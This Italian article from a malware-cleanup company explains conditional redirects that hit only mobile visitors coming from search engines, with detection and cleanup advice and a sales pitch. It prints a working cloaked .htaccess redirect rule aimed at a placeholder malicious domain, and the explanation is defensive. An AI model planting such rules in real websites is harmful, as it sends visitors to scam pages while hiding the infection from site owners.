Redirect condizionali: il malware che si mostra solo da mobile e da Google

Redirect che scattano solo da smartphone, da Google e per chi non è collegato: come funzionano in .htaccess e PHP, come riprodurli con curl e come rimuoverli.

Uno smartphone con il logo di un motore di ricerca da cui parte una freccia rossa verso una pagina sconosciuta, mentre un computer mostra il sito normale

«Da me il sito funziona.» È la frase che si sente più spesso quando un sito è infettato da un redirect condizionale. I visitatori finiscono su pagine di truffe, lotterie o farmaci, ma il titolare, l’agenzia e perfino alcuni scanner non vedono niente. Non è un caso: questi redirect sono costruiti proprio per non farsi vedere da chi gestisce il sito.

Le condizioni tipiche

Un redirect condizionale si attiva solo quando la richiesta soddisfa certi criteri, scelti per colpire i visitatori veri ed evitare tutti gli altri:

  • il visitatore arriva da un motore di ricerca o da un social, verificato con l’intestazione Referer;
  • usa uno smartphone, riconosciuto dallo user agent;
  • non è collegato a WordPress, quindi non è un amministratore o un redattore;
  • non è un crawler come Googlebot, per non farsi notare dal motore di ricerca;
  • non è già stato reindirizzato, grazie a un cookie che dura giorni o settimane.

Chi apre il sito digitando l’indirizzo dal computer dell’ufficio, collegato come amministratore, non soddisfa nessuna di queste condizioni.

Nel file .htaccess

Su Apache e LiteSpeed il redirect può stare interamente in un file .htaccess, senza nessun codice PHP:

RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|bing|yahoo|facebook)\. [NC]
RewriteCond %{HTTP_USER_AGENT} (android|iphone|mobile) [NC]
RewriteCond %{HTTP_USER_AGENT} !(googlebot|bingbot) [NC]
RewriteRule ^(.*)$ https://esempio-malevolo.invalid/?s=%{HTTP_HOST} [R=302,L]

Le regole vengono spesso aggiunte in cima al file, prima di quelle di WordPress, o precedute da molte righe vuote. E non solo nella cartella principale: ogni sottocartella può avere il proprio .htaccess, e vanno controllati tutti con find . -name .htaccess.

Nel codice PHP e nel database

Le varianti in PHP sono più flessibili: possono controllare se l’utente è collegato, usare un elenco di indirizzi IP da escludere e cambiare destinazione nel tempo. Si trovano in fondo al functions.php del tema, in un plugin modificato, in un plugin must-use o in un JavaScript iniettato nel database, che esegue il redirect nel browser dopo aver controllato le stesse condizioni.

Come riprodurlo

Per vedere il redirect bisogna presentarsi al sito come la vittima designata. Con curl si possono simulare user agent e provenienza, senza cookie e senza sessione:

curl -sI \
  -A "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 Mobile Safari/537.36" \
  -e "https://www.google.com/" \
  https://www.esempio.it/articolo/

Una risposta 301 o 302 verso un dominio estraneo conferma il redirect lato server. Se la risposta è normale, il redirect può essere in JavaScript: in quel caso serve un browser in navigazione privata, con l’emulazione di un dispositivo mobile, arrivando da una ricerca su Google. Anche così, un cookie o un filtro sugli indirizzi IP possono nasconderlo: per questo, quando i lettori segnalano un problema che non si riesce a riprodurre, la segnalazione va presa sul serio.

La pulizia

Rimuovere le regole visibili non basta se il meccanismo che le ha scritte è ancora attivo. Oltre ai file .htaccess e al codice PHP vanno controllati il database, le attività pianificate e i file che si ricreano. Nel nostro caso di studio sul portale editoriale il redirect era salvato in un’opzione del database e reinserito da trigger SQL: un esempio di quanto in profondità possa nascondersi.

IL PROSSIMO PASSO

Il tuo sito
è infetto?

Ogni ora conta: il malware continua a colpire visitatori e clienti, e Google, l’hosting e le blacklist non aspettano. Scegli il piano, paga online e condividi gli accessi: la bonifica parte subito, a prezzo fisso e con tempi garantiti.

Richiedi la bonifica

Ti porta ai piani: bonifica entro 6, 12 o 24 ore dalla ricezione degli accessi.

MANAGED SERVER S.R.L.info@rimozionemalware.com +39 02 5656 9681

Lunedì – venerdì · 09:30 – 19:30

Preferisci un modulo online?
Contattaci su managedserver.it ↗